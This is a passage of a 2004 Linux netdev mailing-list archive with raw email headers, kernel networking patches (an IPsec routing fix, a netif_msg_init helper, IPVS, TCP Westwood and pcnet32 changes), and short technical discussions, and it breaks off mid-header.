boundary="zYM0uCDKw75PZbzx" Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 3840 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev --zYM0uCDKw75PZbzx Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi: I've received a number of reports that the any packets that are modified by the PREROUTING mangle table will not be protected by IPsec. The reason is that ip_route_me_harder which is called upon the exit of the mangle table does not set the proto field. This means that xfrm_lookup is never called. The following patch sets the proto field so that the packet can be protected by IPsec. Cheers, -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --zYM0uCDKw75PZbzx Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p Index: kernel-2.5/net/core/netfilter.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/net/core/netfilter.c,v retrieving revision 1.1.1.10 diff -u -r1.1.1.10 netfilter.c --- kernel-2.5/net/core/netfilter.c 8 Oct 2003 19:24:04 -0000 1.1.1.10 +++ kernel-2.5/net/core/netfilter.c 8 Mar 2004 10:52:39 -0000 @@ -639,6 +639,7 @@ #ifdef CONFIG_IP_ROUTE_FWMARK fl.nl_u.ip4_u.fwmark = (*pskb)->nfmark; #endif + fl.proto = iph->protocol; if (ip_route_output_key(&rt, &fl) != 0) return -1; --zYM0uCDKw75PZbzx-- From jgarzik@pobox.com Mon Mar 8 03:33:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 03:33:38 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28BXHKO009693 for ; Mon, 8 Mar 2004 03:33:18 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:34024 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AzKwk-0000DZ-HE; Fri, 05 Mar 2004 19:25:22 +0000 Message-ID: <4048D415.4060701@pobox.com> Date: Fri, 05 Mar 2004 14:25:09 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: netdev@oss.sgi.com Subject: Re: resend [PATCH 2.6.4-rc2] netdevice.h add netif_msg_init helper References: <200403051743.i25Hh5B02111@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200403051743.i25Hh5B02111@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3841 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Don Fry wrote: > This patch adds a helper function to initialize the debug bit mask > for use with netif_msg_*. When the debug_value is out of range > it returns the default_msg_enable_bits. > > --- linux-2.6.4-rc2/include/linux/orig.netdevice.h Thu Mar 4 09:59:08 2004 > +++ linux-2.6.4-rc2/include/linux/netdevice.h Thu Mar 4 10:56:19 2004 > @@ -774,6 +774,17 @@ > #define netif_msg_hw(p) ((p)->msg_enable & NETIF_MSG_HW) > #define netif_msg_wol(p) ((p)->msg_enable & NETIF_MSG_WOL) > > +static inline u32 netif_msg_init(int debug_value, int default_msg_enable_bits) > +{ > + /* use default */ > + if (debug_value < 0 || debug_value > (sizeof(u32) * 8)) > + return default_msg_enable_bits; > + if (debug_value == 0) /* no output */ > + return 0; > + /* set low N bits */ > + return(((debug_value == (sizeof(u32)*8)) ? 0 : (1 << debug_value)) - 1); > +} > + Oh, my apologies. I didn't see you had made the additional change I requested. This version looks better, but we still have an out of range value (32) resulting in no-messages, rather than the default value. I would change the first ">" to ">=", and simply eliminate the final test. Jeff From satyasrikanth2001@yahoo.com Mon Mar 8 05:23:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 05:23:58 -0800 (PST) Received: from web21101.mail.yahoo.com (web21101.mail.yahoo.com [216.136.227.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28DNsKO015501 for ; Mon, 8 Mar 2004 05:23:54 -0800 Message-ID: <20040308132354.77437.qmail@web21101.mail.yahoo.com> Received: from [203.200.95.130] by web21101.mail.yahoo.com via HTTP; Mon, 08 Mar 2004 05:23:54 PST Date: Mon, 8 Mar 2004 05:23:54 -0800 (PST) From: satya srikanth Subject: Xeon smp performance To: netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 3842 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: satyasrikanth2001@yahoo.com Precedence: bulk X-list: netdev Hi, I am writing a simple sniffer program that will sniff packets in a gigabit network. I am using a dual processor 2 GHz Xeon processor with one Intel Pro-1000 desktop adapter, running 2.4.20-8smp linux. I found that for all packet sizes and network bandwidth, 2.4.20-8 uniprocessor version that uses only one processor is performing better than 2.4.20-8smp using two processors in terms of packet drops and CPU utilization. Each processor in smp is utilizing more CPU than one processor in uni-processor case. What is the reason for this peculiar behaviour? Is it possible for me to use the power of second processor without adding more NICs. Will I face similar problems with 2.6 also? Anybody familiar with these please help me out. TIA Satya Srikanth __________________________________ Do you Yahoo!? Yahoo! Search - Find what you’re looking for faster http://search.yahoo.com From Mike_Phillips@URSCorp.com Mon Mar 8 06:40:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 06:40:32 -0800 (PST) Received: from smtp102.urscorp.com (urs-smtp-01.nks.net [24.73.112.33]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28EeRKO016875 for ; Mon, 8 Mar 2004 06:40:31 -0800 Subject: Re: [PATCH] ibmtr init section usage To: "Randy.Dunlap" Cc: jgarzik , netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.11 July 24, 2002 Message-ID: From: Mike_Phillips@URSCorp.com Date: Mon, 8 Mar 2004 09:39:52 -0500 X-MIMETrack: Serialize by Router on SMTP102/URSCorp(Release 5.0.11 |July 24, 2002) at 03/08/2004 09:37:12 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-archive-position: 3843 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Mike_Phillips@URSCorp.com Precedence: bulk X-list: netdev >probe functions can be __devinit. > Patch is to 2.6.4-rc2. Please apply. Will this blow up the pcmcia ibmtr_cs. It links in ibmtr and uses the probe functions. Mike From kaber@trash.net Mon Mar 8 06:46:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 06:46:51 -0800 (PST) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28EklKO017260 for ; Mon, 8 Mar 2004 06:46:48 -0800 Received: from port-212-202-52-228.reverse.qsc.de ([212.202.52.228] helo=gw.localnet) by mx02.qsc.de with esmtp (Exim 3.35 #1) id 1B0M0N-0008Dn-00; Mon, 08 Mar 2004 15:45:19 +0100 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B0M0q-0001y4-00; Mon, 08 Mar 2004 15:45:48 +0100 Message-ID: <404C874D.4000907@trash.net> Date: Mon, 08 Mar 2004 15:46:37 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: Herbert Xu CC: "David S. Miller" , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: ip_route_me_harder -> xfrm_lookup References: <20040308110331.GA20719@gondor.apana.org.au> In-Reply-To: <20040308110331.GA20719@gondor.apana.org.au> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3844 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Hi Herbert, Herbert Xu wrote: > Hi: > > I've received a number of reports that the any packets that are modified > by the PREROUTING mangle table will not be protected by IPsec. > > The reason is that ip_route_me_harder which is called upon the exit > of the mangle table does not set the proto field. This means that > xfrm_lookup is never called. > > The following patch sets the proto field so that the packet can be > protected by IPsec. I have been working on a set of patches for IPsec+Netfilter, the latest set has been posted to netfilter-devel last week. They will go in patch-o-matic for testing soon, but I will post them to netdev later today, so we won't waste time testing patches before Dave is fine with them. Regards, Patrick > > Cheers, > > > ------------------------------------------------------------------------ > > Index: kernel-2.5/net/core/netfilter.c > =================================================================== > RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/net/core/netfilter.c,v > retrieving revision 1.1.1.10 > diff -u -r1.1.1.10 netfilter.c > --- kernel-2.5/net/core/netfilter.c 8 Oct 2003 19:24:04 -0000 1.1.1.10 > +++ kernel-2.5/net/core/netfilter.c 8 Mar 2004 10:52:39 -0000 > @@ -639,6 +639,7 @@ > #ifdef CONFIG_IP_ROUTE_FWMARK > fl.nl_u.ip4_u.fwmark = (*pskb)->nfmark; > #endif > + fl.proto = iph->protocol; > if (ip_route_output_key(&rt, &fl) != 0) > return -1; > From P@draigBrady.com Mon Mar 8 07:15:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 07:15:44 -0800 (PST) Received: from corvil.com (gate.corvil.net [213.94.219.177]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28FFWKO018111 for ; Mon, 8 Mar 2004 07:15:33 -0800 Received: from draigBrady.com (pixelbeat.local.corvil.com [172.18.1.170]) by corvil.com (8.12.9/8.12.5) with ESMTP id i28FFUjD037328; Mon, 8 Mar 2004 15:15:30 GMT (envelope-from P@draigBrady.com) Message-ID: <404C8E12.4060403@draigBrady.com> Date: Mon, 08 Mar 2004 15:15:30 +0000 From: P@draigBrady.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040124 X-Accept-Language: en-us, en MIME-Version: 1.0 To: satya srikanth CC: netdev@oss.sgi.com Subject: Re: Xeon smp performance References: <20040308132354.77437.qmail@web21101.mail.yahoo.com> In-Reply-To: <20040308132354.77437.qmail@web21101.mail.yahoo.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-MIME-Autoconverted: from 8bit to quoted-printable by corvil.com id i28FFUjD037328 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i28FFWKO018111 X-archive-position: 3845 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: P@draigBrady.com Precedence: bulk X-list: netdev satya srikanth wrote: > Hi, > I am writing a simple sniffer program that will > sniff packets in a gigabit network. I am using a dual > processor 2 GHz Xeon processor with one Intel Pro-1000 > desktop adapter, running 2.4.20-8smp linux. > I found that for all packet sizes and network > bandwidth, 2.4.20-8 uniprocessor version that uses > only one processor is performing better than > 2.4.20-8smp using two processors in terms of packet > drops and CPU utilization. Each processor in smp is > utilizing more CPU than one processor in uni-processor > case. What is the reason for this peculiar behaviour? > Is it possible for me to use the power of second > processor without adding more NICs. Will I face > similar problems with 2.6 also? Anybody familiar with > these please help me out. That matches my experience. My chipset was Intel E7501 with 2 intel pro-1000 adapters. I used the base 2.4.20 kernel with latest intel drivers. I had 2 processes capturing packets and noticed that 2 CPUs is 7% slower than one CPU. Note I was using a non SMP kernel for the one CPU case. I'm going to have to look into improving this soon. First I'm going to look at IRQ and process affinity. Pádraig. From wensong@linux-vs.org Mon Mar 8 08:38:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 08:38:31 -0800 (PST) Received: from lb1.ctrip.com ([218.244.111.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28GcPKO025051 for ; Mon, 8 Mar 2004 08:38:26 -0800 Received: from penguin.linux-vs.org ([211.136.74.14]) by lb1.ctrip.com (8.12.10/8.12.10) with ESMTP id i28Gc29T014458 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Tue, 9 Mar 2004 00:38:13 +0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by penguin.linux-vs.org (8.12.8/8.12.8) with ESMTP id i28GbtDF003510; Tue, 9 Mar 2004 00:37:55 +0800 Date: Tue, 9 Mar 2004 00:37:54 +0800 (CST) From: Wensong Zhang To: netdev@oss.sgi.com cc: "David S. Miller" , Horms , Julian Anastasov Subject: [PATCH 2.4/2.6] IPVS: code tidy up Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-1463811584-157386712-1078763874=:1981" X-archive-position: 3846 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: wensong@linux-vs.org Precedence: bulk X-list: netdev This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---1463811584-157386712-1078763874=:1981 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi, Here are the minor patches for IPVS code in the kernel 2.4 and 2.6. Please consider to apply them respectively. Thanks, Wensong ---1463811584-157386712-1078763874=:1981 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="linux-2.4-ipvs-tidyup.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="linux-2.4-ipvs-tidyup.patch" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVl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HVlIE1hciAgOSAwMDowMzoyOSAy MDA0DQpAQCAtMTczNyw5ICsxNzM3LDkgQEANCiAJICogQ2hlY2sgZm9yIHZh bGlkIHByb3RvY29sOiBUQ1Agb3IgVURQLiBFdmVuIGZvciBmd21hcmshPTAN CiAJICovDQogCWlmICh1cnVsZS0+cHJvdG9jb2whPUlQUFJPVE9fVENQICYm IHVydWxlLT5wcm90b2NvbCE9SVBQUk9UT19VRFApIHsNCi0JCUlQX1ZTX0lO Rk8oInZzX2N0bDogaW52YWxpZCBwcm90b2NvbDogJWQgJWQuJWQuJWQuJWQ6 JWQgJXMiLA0KLQkJCSAgIG50b2hzKHVydWxlLT5wcm90b2NvbCksIE5JUFFV QUQodXJ1bGUtPnZhZGRyKSwNCi0JCQkgICBudG9ocyh1cnVsZS0+dnBvcnQp LCB1cnVsZS0+c2NoZWRfbmFtZSk7DQorCQlJUF9WU19FUlIoInNldF9jdGw6 IGludmFsaWQgcHJvdG9jb2wgJWQgJWQuJWQuJWQuJWQ6JWQgJXNcbiIsDQor CQkJICB1cnVsZS0+cHJvdG9jb2wsIE5JUFFVQUQodXJ1bGUtPnZhZGRyKSwN CisJCQkgIG50b2hzKHVydWxlLT52cG9ydCksIHVydWxlLT5zY2hlZF9uYW1l KTsNCiAJCXJldCA9IC1FRkFVTFQ7DQogCQlnb3RvIG91dF91bmxvY2s7DQog CX0NCg== ---1463811584-157386712-1078763874=:1981 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="linux-2.6-ipvs-tidyup.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="linux-2.6-ipvs-tidyup.patch" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVlDQojIFRoaXMgcGF0Y2ggZm9ybWF0IGlzIGludGVuZGVkIGZv ciBHT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ODM2LDkgQEANCiANCiAJLyogQ2hlY2sgZm9y IHZhbGlkIHByb3RvY29sOiBUQ1Agb3IgVURQLCBldmVuIGZvciBmd21hcmsh PTAgKi8NCiAJaWYgKHVzdmMtPnByb3RvY29sIT1JUFBST1RPX1RDUCAmJiB1 c3ZjLT5wcm90b2NvbCE9SVBQUk9UT19VRFApIHsNCi0JCUlQX1ZTX0lORk8o InZzX2N0bDogaW52YWxpZCBwcm90b2NvbDogJWQgJWQuJWQuJWQuJWQ6JWQg JXMiLA0KLQkJCSAgIG50b2hzKHVzdmMtPnByb3RvY29sKSwgTklQUVVBRCh1 c3ZjLT5hZGRyKSwNCi0JCQkgICBudG9ocyh1c3ZjLT5wb3J0KSwgdXN2Yy0+ c2NoZWRfbmFtZSk7DQorCQlJUF9WU19FUlIoInNldF9jdGw6IGludmFsaWQg cHJvdG9jb2w6ICVkICVkLiVkLiVkLiVkOiVkICVzXG4iLA0KKwkJCSAgdXN2 Yy0+cHJvdG9jb2wsIE5JUFFVQUQodXN2Yy0+YWRkciksDQorCQkJICBudG9o cyh1c3ZjLT5wb3J0KSwgdXN2Yy0+c2NoZWRfbmFtZSk7DQogCQlyZXQgPSAt RUZBVUxUOw0KIAkJZ290byBvdXRfdW5sb2NrOw0KIAl9DQo= ---1463811584-157386712-1078763874=:1981-- From rddunlap@osdl.org Mon Mar 8 09:03:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 09:03:38 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28H3aKO025719 for ; Mon, 8 Mar 2004 09:03:36 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i28H3GE31041; Mon, 8 Mar 2004 09:03:16 -0800 Date: Mon, 8 Mar 2004 09:01:54 -0800 From: "Randy.Dunlap" To: Mike_Phillips@URSCorp.com Cc: jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [PATCH] ibmtr init section usage Message-Id: <20040308090154.721ea21a.rddunlap@osdl.org> In-Reply-To: References: Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3847 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev On Mon, 8 Mar 2004 09:39:52 -0500 Mike_Phillips@URSCorp.com wrote: | | >probe functions can be __devinit. | | > Patch is to 2.6.4-rc2. Please apply. | | Will this blow up the pcmcia ibmtr_cs. It links in ibmtr and uses the probe | functions. Should be OK. See: #ifdef CONFIG_HOTPLUG #define __devinit #define __devinitdata #define __devexit #define __devexitdata #else #define __devinit __init #define __devinitdata __initdata #define __devexit __exit #define __devexitdata __exitdata #endif and PCMCIA/CardBus depends on HOTPLUG being enabled. -- ~Randy From shemminger@osdl.org Mon Mar 8 10:17:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 10:18:00 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28IHdKO027630 for ; Mon, 8 Mar 2004 10:17:39 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i28IHQE14142; Mon, 8 Mar 2004 10:17:26 -0800 Date: Mon, 8 Mar 2004 10:17:26 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] always set westwood rtt (trivial) Message-Id: <20040308101726.4d08467a@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3849 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 493 Lines: 15 It is faster just to update the rtt even if we never use it. diff -Nru a/include/net/tcp.h b/include/net/tcp.h --- a/include/net/tcp.h Mon Mar 8 10:10:57 2004 +++ b/include/net/tcp.h Mon Mar 8 10:10:57 2004 @@ -2030,8 +2030,7 @@ static inline void tcp_westwood_update_rtt(struct tcp_opt *tp, __u32 rtt_seq) { - if (sysctl_tcp_westwood) - tp->westwood.rtt = rtt_seq; + tp->westwood.rtt = rtt_seq; } void __tcp_westwood_fast_bw(struct sock *, struct sk_buff *); From brazilnut@us.ibm.com Mon Mar 8 11:11:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 11:11:53 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28JBiKO029545 for ; Mon, 8 Mar 2004 11:11:51 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i28JBcfS841782; Mon, 8 Mar 2004 14:11:38 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i28JBaKr188484; Mon, 8 Mar 2004 12:11:37 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i28JAli10587; Mon, 8 Mar 2004 11:10:47 -0800 From: Don Fry Message-Id: <200403081910.i28JAli10587@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.4.26-pre2] netdevice.h: add netif_msg_init helper To: jgarzik@pobox.com, netdev@oss.sgi.com Date: Mon, 8 Mar 2004 11:10:46 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3851 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 970 Lines: 30 Please apply the following patch to 2.4.26-pre2 This patch adds a helper function to initialize the debug bit mask for use with netif_msg_*. When the debug_value is out of range it returns the default_msg_enable_bits. Tested IA32. --- orig.linux-2.4.26-pre2/include/linux/netdevice.h Wed Feb 18 05:36:32 2004 +++ linux-2.4.26-pre2/include/linux/netdevice.h Mon Mar 8 10:10:23 2004 @@ -732,6 +732,17 @@ #define netif_msg_hw(p) ((p)->msg_enable & NETIF_MSG_HW) #define netif_msg_wol(p) ((p)->msg_enable & NETIF_MSG_WOL) +static inline u32 netif_msg_init(int debug_value, int default_msg_enable_bits) +{ + /* use default */ + if (debug_value < 0 || debug_value >= (sizeof(u32) * 8)) + return default_msg_enable_bits; + if (debug_value == 0) /* no output */ + return 0; + /* set low N bits */ + return (1 << debug_value) - 1; +} + /* Schedule rx intr now? */ static inline int netif_rx_schedule_prep(struct net_device *dev) -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Mon Mar 8 11:15:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 11:15:39 -0800 (PST) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28JFVKO029975 for ; Mon, 8 Mar 2004 11:15:32 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e3.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i28JFIAB615958; Mon, 8 Mar 2004 14:15:22 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i28JFGQN122962; Mon, 8 Mar 2004 14:15:16 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i28JERJ10601; Mon, 8 Mar 2004 11:14:27 -0800 From: Don Fry Message-Id: <200403081914.i28JERJ10601@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.4.26-pre2] pcnet32 use netif_msg_init To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Mon, 8 Mar 2004 11:14:27 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3852 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1382 Lines: 37 Please apply this patch to 2.4.26 after the preceeding patch to add the netif_msg_init helper to netdevice.h This patch uses the netif_msg_init routine to initialize the debug message level for the pcnet32 driver. --- orig.linux-2.4.26-pre2/drivers/net/pcnet32.c Mon Mar 8 10:07:05 2004 +++ linux-2.4.26-pre2/drivers/net/pcnet32.c Mon Mar 8 10:22:32 2004 @@ -224,10 +224,13 @@ * FD auto negotiate error workaround for xSeries250 * clean up and using new mii module * v1.28 20 Feb 2004 Don Fry - * Jon Lewis , Chinmay Albal + * Jon Mason , Chinmay Albal * Now uses ethtool_ops, netif_msg_* and generic_mii_ioctl. * Fixes bogus 'Bus master arbitration failure', pci_[un]map_single * length errors, and transmit hangs. Cleans up after errors in open. + * Jim Lewis added ethernet loopback test. + * Thomas Munck Steenholdt non-mii ioctl corrections. + * Uses netif_msg_init Don Fry. */ @@ -1949,8 +1952,7 @@ { printk(KERN_INFO "%s", version); - if (debug >= 0 && debug < (sizeof(int) - 1)) - pcnet32_debug = 1 << debug; + pcnet32_debug = netif_msg_init(debug, 0); if ((tx_start_pt >= 0) && (tx_start_pt <= 3)) tx_start = tx_start_pt; -- Don Fry brazilnut@us.ibm.com From jt@bougret.hpl.hp.com Mon Mar 8 11:22:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 11:22:06 -0800 (PST) Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28JLsKO030430 for ; Mon, 8 Mar 2004 11:21:54 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel11.hp.com (Postfix) with ESMTP id E1AD91C01DA9; Mon, 8 Mar 2004 10:52:43 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id KAA04386; Mon, 8 Mar 2004 10:52:43 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1B0Prn-0004mj-00; Mon, 08 Mar 2004 10:52:43 -0800 Date: Mon, 8 Mar 2004 10:52:43 -0800 To: netdev@oss.sgi.com, Thomas Munck Steenholdt Cc: Jeff Garzik Subject: Re: [PATCH] 2.6.3 orinoco.c patch to support ethtool get_link Message-ID: <20040308185242.GA18367@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3853 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 629 Lines: 17 Thomas Munck Steenholdt wrote : > > I noticed that there wasn't a good way, from userland, to get the link > status of an orinoco device. I hope you realise that most often link status is meaningless with Wireless cards. In Ad-Hoc mode, the link is always up, regardless of the number of nodes in the cell, check the discussion on the HostAP mailing list. And the Orinoco card will report connected even is WEP is wrong. But, if you only use managed mode without WEP, that should work. I just wonder if it's better to report a 'link status' that may be wrong/misleading or to not report anything at all. Have fun... Jean From brazilnut@us.ibm.com Mon Mar 8 11:43:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Mar 2004 11:43:43 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i28JhYKO031042 for ; Mon, 8 Mar 2004 11:43:41 -0800 Received: from 